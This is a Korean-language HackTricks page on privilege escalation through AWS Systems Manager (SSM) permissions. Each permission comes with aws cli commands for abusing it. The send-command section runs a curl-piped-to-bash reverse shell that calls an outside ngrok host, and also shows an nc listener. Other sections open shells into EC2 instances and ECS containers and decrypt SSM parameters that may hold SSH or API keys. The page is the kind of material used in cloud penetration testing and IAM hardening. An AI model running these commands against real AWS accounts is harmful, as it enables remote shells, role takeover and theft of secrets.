AWS - SSM Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

SSM

SSM에 대한 자세한 정보는 다음을 확인하세요:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand 권한을 가진 공격자는 Amazon SSM 에이전트가 실행되는 인스턴스에서 명령을 실행하고 내부에서 실행되는 IAM 역할을 침해할 수 있습니다.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

만약 이미 침입당한 EC2 인스턴스 내에서 권한 상승을 위해 이 기술을 사용하는 경우, 다음과 같이 로컬에서 rev 쉘을 캡처할 수 있습니다:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

잠재적 영향: SSM 에이전트가 실행 중인 EC2 IAM 역할로 직접 권한 상승.

ssm:StartSession

ssm:StartSession 권한을 가진 공격자는 Amazon SSM 에이전트가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작하고 그 안에서 실행되는 IAM 역할을 침해할 수 있습니다.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

잠재적인 영향: SSM 에이전트가 실행 중인 EC2 IAM 역할에 직접적인 권한 상승.

ECS로의 권한 상승

ECS 작업ExecuteCommand가 활성화된 상태에서 실행될 때, 충분한 권한을 가진 사용자는 ecs execute-command를 사용하여 컨테이너 내에서 명령을 실행할 수 있습니다. 문서에 따르면, 이는 "exec" 명령을 시작하는 기기와 SSM 세션 관리자를 통해 대상 컨테이너 사이에 안전한 채널을 생성함으로써 수행됩니다. 따라서, ssm:StartSession 권한이 있는 사용자는 해당 옵션이 활성화된 ECS 작업 내에서 쉘을 얻을 수 있습니다. 단순히 다음을 실행하면 됩니다:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

잠재적 영향: ExecuteCommand가 활성화된 실행 중인 작업에 연결된 ECS IAM 역할로의 직접적인 권한 상승.

ssm:ResumeSession

ssm:ResumeSession 권한을 가진 공격자는 Amazon SSM 에이전트가 실행되는 인스턴스에서 SSH와 유사한 세션을 다시 시작할 수 있으며, 끊어진 SSM 세션 상태와 함께 그 안에서 실행되는 IAM 역할을 손상시킬 수 있습니다.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

잠재적 영향: SSM 에이전트가 실행되고 세션이 끊어진 상태에서 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접 권한 상승이 가능합니다.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

언급된 권한을 가진 공격자는 SSM 매개변수를 나열하고 이를 평문으로 읽을 수 있게 됩니다. 이러한 매개변수에는 종종 SSH 키 또는 API 키와 같은 민감한 정보가 포함되어 있을 수 있습니다.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

잠재적 영향: 매개변수 내에서 민감한 정보를 찾을 수 있습니다.

ssm:ListCommands

이 권한을 가진 공격자는 모든 명령어를 나열하고, 그 중에서 민감한 정보를 발견할 수 있습니다.

aws ssm list-commands

잠재적 영향: 명령어 라인 안에 민감한 정보를 찾을 수 있습니다.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

이 권한을 가진 공격자는 모든 보낸 명령어를 나열하고 생성된 출력을 읽어 민감한 정보를 발견할 수 있습니다.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

잠재적 영향: 명령 라인의 출력 내에서 민감한 정보를 찾을 수 있습니다.

Codebuild

빌드 중인 codebuild 프로젝트 내부로 들어가려면 SSM을 사용할 수도 있습니다:

pageAWS - Codebuild Privesc
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新